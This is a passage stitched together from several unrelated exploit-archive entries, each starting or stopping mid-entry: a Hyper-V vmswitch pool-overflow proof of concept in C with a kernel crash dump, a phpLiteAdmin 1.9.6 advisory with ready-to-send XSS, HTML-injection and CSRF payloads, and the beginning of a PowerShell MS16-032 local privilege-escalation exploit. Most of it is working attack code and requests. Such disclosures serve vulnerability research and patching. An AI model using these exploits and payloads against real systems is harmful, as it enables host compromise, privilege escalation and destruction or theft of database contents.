Vulnerable Parameter(s):  [+] 'orderby'

====================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx.

by hyp3rlinx
*/
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=688

This function is reachable by sending a RNDIS Set request with OID 0x01010209 (OID_802_3_MULTICAST_LIST) from the Guest to the Host.

This function potentially allocates a buffer based on the addresses sent.
The number of entries is determined by dividing the length of the data by 6:

.text:000000000001D717 mov eax, 0AAAAAAABh
.text:000000000001D71C mov r13b, 1
.text:000000000001D71F mul r14d
.text:000000000001D722 mov ebp, edx
.text:000000000001D724 shr ebp, 2
.text:000000000001D727 test ebp, ebp ; ebp=r14d//6
.text:000000000001D729 jz loc_31B04
.text:000000000001D72F
.text:000000000001D72F loc_1D72F: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+144CEj
.text:000000000001D72F cmp ebp, [rbx+0EE8h]
.text:000000000001D735 jz loc_31B2B
.text:000000000001D73B mov r8d, 'mcMV' ; Tag
.text:000000000001D741 mov rdx, r14 ; NumberOfBytes
.text:000000000001D744 mov ecx, 200h ; PoolType
.text:000000000001D749 mov r12, r14
.text:000000000001D74C call cs:__imp_ExAllocatePoolWithTag .text:000000000001D752 mov r14, rax
.text:000000000001D755 test rax, rax
.text:000000000001D758 jz loc_1D7E8
.text:000000000001D75E mov r8, r12 ; Size
.text:000000000001D761 mov rdx, r15 ; Src
.text:000000000001D764 mov rcx, rax ; Dst
.text:000000000001D767 call memmove

An interesting test is located at 0x1D72F.
If the number of entries is identical to the currently stored one, then we jump to this piece of code:

.text:0000000000031B2B loc_31B2B: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+F5j
.text:0000000000031B2B mov rcx, [rbx+0EE0h] ; Dst
.text:0000000000031B32 mov r8, r14 ; Size
.text:0000000000031B35 mov rdx, r15 ; Src
.text:0000000000031B38 call memmove

Note that the size of the copy operation is the size of the data. As the division is dropping the remainder component, we can overflow the allocation by 1 to 5 bytes doing the following:
- call this function with data of size 6*x
- call this function again with size 6*x+y with 1<=y<=5
  - then 6*x bytes will be allocated and stored at 0xee0
  - and x will be saved at 0xee8;
  - x will be compared with what is at 0xee8
  - being equal it will proceed copying 6*x+y in a buffer of 6*x bytes at 0xee0

If exploited successfully (not sure if it's doable), it would lead to code execution in the context of the Host R0.

Please note that this issue has been silently fixed in Windows Server 2016 TP4 (and maybe prior).

PoC (put it and call it somewhere useful in rndis_filter.c):
*/

static int rndis_pool_overflow(struct rndis_device *rdev)
{
  int ret;
  struct net_device *ndev = rdev->net_dev->ndev;
  struct rndis_request *request;
  struct rndis_set_request *set;
  struct rndis_set_complete *set_complete;
  u32 extlen = 16 * 6;
  unsigned long t;

  request = get_rndis_request(
    rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
  }

  put_rndis_request(rdev, request);
  request = get_rndis_request(rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen + 5);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen + 5;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
 }

cleanup:
  put_rndis_request(rdev, request);

  return ret;
}

/*
Crash dump (with Special Pool enabled for vmswitch.sys):

7: kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is usually

caused by drivers using improper addresses.

If kernel debugger is available get stack backtrace.

Arguments:

Arg1: ffffcf81085c9000, memory referenced

Arg2: 0000000000000002, IRQL

Arg3: 0000000000000001, value 0 = read operation, 1 = write operation

Arg4: fffff8005fad3249, address which referenced memory

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 401

BUILD_VERSION_STRING: 9600.18146.amd64fre.winblue_ltsb.151121-0600

...

BASEBOARD_VERSION: 

DUMP_TYPE: 1

BUGCHECK_P1: ffffcf81085c9000

BUGCHECK_P2: 2

BUGCHECK_P3: 1

BUGCHECK_P4: fffff8005fad3249

WRITE_ADDRESS: ffffcf81085c9000 Special pool

CURRENT_IRQL: 2

FAULTING_IP: 

vmswitch!memcpy+49

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al

CPU_COUNT: 8

CPU_MHZ: c88

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 1a

CPU_STEPPING: 4

CPU_MICROCODE: 6,1a,4,0 (F,M,S,R) SIG: 11'00000000 (cache) 11'00000000 (init)

DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT

BUGCHECK_STR: AV

PROCESS_NAME: System

ANALYSIS_SESSION_HOST: KOSTYAK-G7700

ANALYSIS_SESSION_TIME: 12-31-2015 21:26:14.0206

ANALYSIS_VERSION: 10.0.10586.567 amd64fre

TRAP_FRAME: ffffd00187f46840 -- (.trap 0xffffd00187f46840)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=0000000055555500 rbx=0000000000000000 rcx=ffffcf81085c9001

rdx=0000000000001fc0 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8005fad3249 rsp=ffffd00187f469d8 rbp=0000000000000010

r8=0000000000000004 r9=0000000000000000 r10=0000000000000000

r11=ffffcf81085c8fa0 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0 nv up ei pl nz na pe nc

vmswitch!memcpy+0x49:

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al ds:ffffcf81`085c9000=??

Resetting default scope

LAST_CONTROL_TRANSFER: from fffff8038a3633e9 to fffff8038a3578a0

STACK_TEXT: 

ffffd001`87f466f8 fffff803`8a3633e9 : 00000000`0000000a ffffcf81`085c9000 00000000`00000002 

00000000`00000001 : nt!KeBugCheckEx

ffffd001`87f46700 fffff803`8a361c3a : 00000000`00000001 ffffe000`57002000 ffffd001`87f46900 

00000000`00000004 : nt!KiBugCheckDispatch+0x69

ffffd001`87f46840 fffff800`5fad3249 : fffff800`5fad9b3d ffffe000`57002000 00000000`0000000c 

ffffe000`57002000 : nt!KiPageFault+0x23a

ffffd001`87f469d8 fffff800`5fad9b3d : ffffe000`57002000 00000000`0000000c ffffe000`57002000 

ffffd001`87f46b00 : vmswitch!memcpy+0x49

ffffd001`87f469e0 fffff800`5fac4792 : 00000000`00000000 ffffd001`87f46ac0 00000000`01000400 

ffffe000`57002000 : vmswitch!VmsMpCommonPvtHandleMulticastOids+0x144fd

ffffd001`87f46a60 fffff800`5fac3dc4 : 00000000`c00000bb 00000000`01010209 ffffcf81`06b62c78 

00000000`000000d0 : vmswitch!VmsMpCommonPvtSetRequestCommon+0x13e

ffffd001`87f46af0 fffff800`5fac3cf9 : ffffcf81`06b62b00 00000000`00000000 fffff800`5fac3a20 

ffffe000`53d8d880 : vmswitch!VmsMpCommonSetRequest+0xa4

ffffd001`87f46b60 fffff800`5fac3e8b : 00000000`00000000 fffff800`00000000 ffffe000`57005c10 

ffff68b8`dcfa8dfd : vmswitch!VmsVmNicPvtRndisDeviceSetRequest+0x55

ffffd001`87f46bb0 fffff800`5fac3aa3 : ffffe000`570c5f70 ffffe000`53d8d9c0 ffffe000`53d8d880 

fffff803`8a29b9f9 : vmswitch!RndisDevHostHandleSetMessage+0x77

ffffd001`87f46bf0 fffff803`8a2ee2a3 : ffffcf81`06b58fb0 ffffe000`57005c10 00000000`00000000 

ffffe000`00000000 : vmswitch!RndisDevHostControlMessageWorkerRoutine+0x83

ffffd001`87f46c20 fffff803`8a2984bf : fffff800`5e842e00 fffff803`8a2ee1a8 ffffe000`53d8d880 

00000000`00000000 : nt!IopProcessWorkItem+0xfb

ffffd001`87f46c90 fffff803`8a305554 : 00000000`00000000 ffffe000`53d8d880 00000000`00000080 

ffffe000`53d8d880 : nt!ExpWorkerThread+0x69f

ffffd001`87f46d40 fffff803`8a35dec6 : ffffd001`88741180 ffffe000`53d8d880 ffffd001`8874d3c0 

00000000`00000000 : nt!PspSystemThreadStartup+0x58

ffffd001`87f46da0 00000000`00000000 : ffffd001`87f47000 ffffd001`87f41000 00000000`00000000 

00000000`00000000 : nt!KiStartSystemThread+0x16

STACK_COMMAND: kb

THREAD_SHA1_HASH_MOD_FUNC: abaf49d1b3c5b02fccc8786e1ffe670ffc7abc52

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 95f6cd8078b8f21385352dcdeabdb4de53e87ac0

THREAD_SHA1_HASH_MOD: 7e0f522feda778d9b7c0da52391383d6f8569ca6

FOLLOWUP_IP: 

vmswitch!memcpy+49

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al

FAULT_INSTR_CODE: 75ff4188

SYMBOL_STACK_INDEX: 3

SYMBOL_NAME: vmswitch!memcpy+49

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: vmswitch

IMAGE_NAME: vmswitch.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 55c21a2e

BUCKET_ID_FUNC_OFFSET: 49

FAILURE_BUCKET_ID: AV_VRF_vmswitch!memcpy

BUCKET_ID: AV_VRF_vmswitch!memcpy

PRIMARY_PROBLEM_CLASS: AV_VRF_vmswitch!memcpy

TARGET_TIME: 2016-01-01T05:23:07.000Z

OSBUILD: 9600

OSSERVICEPACK: 0

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 3

OSPLATFORM_TYPE: x64

OSNAME: Windows 8.1

OSEDITION: Windows 8.1 Server TerminalServer SingleUserTS

OS_LOCALE: 

USER_LCID: 0

OSBUILD_TIMESTAMP: 2015-11-21 08:42:09

BUILDDATESTAMP_STR: 151121-0600

BUILDLAB_STR: winblue_ltsb

BUILDOSVER_STR: 6.3.9600.18146.amd64fre.winblue_ltsb.151121-0600

ANALYSIS_SESSION_ELAPSED_TIME: 465

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:av_vrf_vmswitch!memcpy

FAILURE_ID_HASH: {f6dcfc99-d58f-1ff6-59d1-7239f62b292b}

Followup: MachineOwner

---------
*/
            
#################################################################################################################################################
# Exploit Title: phpLiteAdmin v1.9.6 - Multiple Vulnerabilities
# Date: 20.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.phpliteadmin.org
# Software Link:
https://bitbucket.org/phpliteadmin/public/downloads/phpLiteAdmin_v1-9-6.zip
# Version: 1.9.6
#################################################################################

Introduction
phpLiteAdmin is a web-based SQLite database admin tool written in PHP with
support for SQLite3 and SQLite2. source = https://www.phpliteadmin.org


Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS


XSS details:
#################################################################################

XSS1

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1

METHOD
Post

PARAMETER
0_defaultoption

PAYLOAD
"><script>alert(1)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=table_create&confirm=1 HTTP/1.1

tablename=testtable&rows=2&0_field=id&0_type=INTEGER&0_defaultoption=defined"><script>alert(1)</script>&0_defaultvalue=1&1_field=name&1_type=INTEGER&1_defaultoption=defined&1_defaultvalue=test

#################################################################################

XSS2

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

METHOD
Post

PARAMETER
file

PAYLOAD
"><script>alert(2)</script>

Request
POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1

Content-Type: multipart/form-data;
boundary=---------------------------1675024292505
Content-Length: 1124

-----------------------------1675024292505
Content-Disposition: form-data; name="import_type"

sql
-----------------------------1675024292505
Content-Disposition: form-data; name="single_table"

testtable
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsterminated"

;
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsenclosed"

"
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsescaped"

\
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_replacenull"

NULL
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldnames"

on
-----------------------------1675024292505
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: text/plain

"><script>alert(2)</script>
-----------------------------1675024292505
Content-Disposition: form-data; name="import"

Import
-----------------------------1675024292505--


#################################################################################

XSS3

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=sql

METHOD
Post

PARAMETER
queryval

PAYLOAD
"><script>alert(3)</script>

Request
POST /phpliteadmin/phpliteadmin.php?view=sql HTTP/1.1

queryval=%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&delimiter=%3B&query=Go

#################################################################################

XSS4

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1

METHOD
Post

PARAMETER
select

PAYLOAD
"><script>alert(4)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=view_create&confirm=1 HTTP/1.1

viewname=test&select="><script>alert(4)</script>&createtable=Go

#################################################################################

XSS5

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1

METHOD
Post

PARAMETER
viewname

PAYLOAD
<script>alert(5)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1 HTTP/1.1

viewname=test<script>alert(5)</script>


#################################################################################

XSS6

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=row_view&table=testtable

METHOD
Post

PARAMETER
numRows

PAYLOAD
'><script>alert(6)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=row_view&table=testtable HTTP/1.1

show=Show+%3A+&numRows=30%27%3E%3Cscript%3Ealert%286%29%3C%2Fscript%3E&startRow=0&viewtype=table

#################################################################################

XSS7

URL
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=column_confirm&action2=%27%3E%3Cscript%3Ealert%287%29%3C/script%3E&pk=id

METHOD
Get

PARAMETER
action2

PAYLOAD
'><script>alert(7)</script>

#################################################################################

XSS8

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1

METHOD
Post

PARAMETER
tablename

PAYLOAD
%3cscript%3ealert(8)%3c%2fscript%3e

Request
POST /phpliteadmin/phpliteadmin.php?action=table_create&confirm=1 HTTP/1.1

tablename=testtable%3cscript%3ealert(8)%3c%2fscript%3e&rows=2&0_field=id&0_type=INTEGER&0_defaultoption=defined&0_defaultvalue=1&1_field=name&1_type=INTEGER&1_defaultoption=defined&1_defaultvalue=test

#################################################################################

XSS9

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1

METHOD
Post

PARAMETER
oldname

PAYLOAD
<script>alert(9)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1 HTTP/1.1

oldname=testtable<script>alert(9)</script>&newname=test&rename=Rename

#################################################################################


HTML Injection details:
#################################################################################

HTML Injection1

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1
METHOD
Post

PARAMETER
0_defaultoption

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection2

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

METHOD
Post

PARAMETER
file

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection3

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=sql

METHOD
Post

PARAMETER
queryval

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection4

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1

METHOD
Post

PARAMETER
select

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection5

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1

METHOD
Post

PARAMETER
viewname

PAYLOAD
<iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection6

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=row_view&table=testtable

METHOD
Post

PARAMETER
numRows

PAYLOAD
'><iframe src=https://www.phpliteadmin.org>


#################################################################################

HTML Injection7

URL
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=column_confirm&action2=%27%3E%3Ciframe%20src=https://www.phpliteadmin.org%3E&pk=id

METHOD
Get

PARAMETER
action2

PAYLOAD
'><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection8

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1

METHOD
Post

PARAMETER
oldname

PAYLOAD
<iframe src=https://www.phpliteadmin.org>

#################################################################################


CSRF details:

#################################################################################

CSRF1

Create Database

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST">
<input type="text" name="new_dbname" value="db"/>
<input type="submit" value="Create DB"/>
</form>
</body>
</html>

#################################################################################

CSRF2

Drop Database

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1"
method="POST">
<input type="text" name="database_delete" value=".\db"/>
<input type="submit" value="Drop DB"/>
</form>
</body>
</html>

#################################################################################

CSRF3

Execute SQL

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=sql"
method="POST">
<input type="text" name="queryval" value="test"/>
<input type="text" name="delimiter" value=";"/>
<input type="text" name="query" value="go"/>
<input type="submit" value="Execute SQL"/>
</form>
</body>
</html>

#################################################################################

CSRF4

Export DB

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=export"
method="POST">
<input type="text" name="tables[]" value="testtable"/>
<input type="text" name="export_type" value="sql"/>
<input type="text" name="structure" value="on"/>
<input type="text" name="data" value="on"/>
<input type="text" name="transaction" value="on"/>
<input type="text" name="comments" value="on"/>
<input type="text" name="export_csv_fieldsterminated" value=";"/>
<input type="text" name="export_csv_fieldsenclosed" value="""/>
<input type="text" name="export_csv_fieldsescaped" value="\"/>
<input type="text" name="export_csv_replacenull" value="NULL"/>
<input type="text" name="export_csv_fieldnames" value="on"/>
<input type="text" name="filename" value="db_2016-04-20.dump"/>
<input type="text" name="export" value="Export"/>
<input type="submit" value="Export DB"/>
</form>
</body>
</html>

#################################################################################

CSRF5

Download Database

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="GET">
<input type="text" name="download" value=".\db"/>
<input type="submit" value="Download DB"/>
</form>
</body>
</html>

#################################################################################

CSRF6

Import Table

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

Request
POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1

Content-Type: multipart/form-data;
boundary=---------------------------28282942824983
Content-Length: 1410

-----------------------------28282942824983
Content-Disposition: form-data; name="import_type"

sql
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsterminated"

;
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsenclosed"

"
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsescaped"

\
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_replacenull"

NULL
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldnames"

on
-----------------------------28282942824983
Content-Disposition: form-data; name="file";
filename="db_2016-04-20.dump.sql"
Content-Type: text/sql

----
-- phpLiteAdmin database dump (https://bitbucket.org/phpliteadmin/public)
-- phpLiteAdmin version: 1.9.6
-- Exported: 12:50am on April 20, 2016 (BST)
-- database file: .\db
----
BEGIN TRANSACTION;

----
-- Table structure for testtable
----
CREATE TABLE 'testtable' ('id' INTEGER DEFAULT 1 );

----
-- Data dump for testtable, a total of 1 rows
----
INSERT INTO "testtable" ("id") VALUES ('1');
COMMIT;

-----------------------------28282942824983
Content-Disposition: form-data; name="import"

Import
-----------------------------28282942824983--

#################################################################################

CSRF7

Database Vacuum

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum"
method="POST">
<input type="text" name="vacuum" value="Vacuum"/>
<input type="submit" value="DB Vacuum"/>
</form>
</body>
</html>

#################################################################################

CSRF8

Database Rename

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_rename=1"
method="POST">
<input type="text" name="oldname" value=".\db1"/>
<input type="text" name="newname" value=".\db"/>
<input type="text" name="rename" value="Rename"/>
<input type="submit" value="DB Rename"/>
</form>
</body>
</html>

#################################################################################

CSRF9

Create Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="text" name="rows" value="1"/>
<input type="text" name="0_field" value="id"/>
<input type="text" name="0_type" value="INTEGER"/>
<input type="text" name="0_defaultoption" value="defined"/>
<input type="text" name="0_defaultvalue" value="1"/>
<input type="submit" value="Create Table"/>
</form>
</body>
</html>

#################################################################################

CSRF10

Insert Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=row_create&confirm=1"


method="POST">
<input type="text" name="numRows" value="1"/>
<input type="text" name="function_0_id" value=""/>
<input type="text" name="0:id" value="1"/>
<input type="text" name="fields" value="id"/>
<input type="submit" value="Insert Table"/>
</form>
</body>
</html>

#################################################################################

CSRF11

Row Delete

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=row_delete&confirm=1&pk=%5B

%22%5B1%5D%22%5D" method="POST">
<input type="submit" value="Row Delete"/>
</form>
</body>
</html>

#################################################################################

CSRF12

Search Field

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=table_search&done=1"


method="POST">
<input type="text" name="id:operator" value="="/>
<input type="text" name="id" value="1"/>
<input type="submit" value="Search Field"/>
</form>
</body>
</html>

#################################################################################

CSRF13

Rename Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1"
method="POST">
<input type="text" name="oldname" value="test"/>
<input type="text" name="newname" value="testtable"/>
<input type="text" name="rename" value="Rename"/>
<input type="submit" value="Rename Table"/>
</form>
</body>
</html>

#################################################################################

CSRF14

Empty Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_empty&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="submit" value="Empty Table"/>
</form>
</body>
</html>

#################################################################################

CSRF15

Drop Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_drop&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="submit" value="Drop Table"/>
</form>
</body>
</html>

#################################################################################

CSRF16

Create View

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1"
method="POST">
<input type="text" name="viewname" value="test"/>
<input type="text" name="select" value="select * from testtable;"/>
<input type="text" name="createtable" value="go"/>
<input type="submit" value="Create View"/>
</form>
</body>
</html>

#################################################################################

CSRF17

Drop View

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1"
method="POST">
<input type="text" name="viewname" value="test"/>
<input type="submit" value="Drop View"/>
</form>
</body>
</html>

#################################################################################

CSRF18

Logout

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST">
<input type="hidden" name="logout" value="Logout"/>
<input type="submit" value="Logout"/>
</form>
</body>
</html>

#################################################################################
            
function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
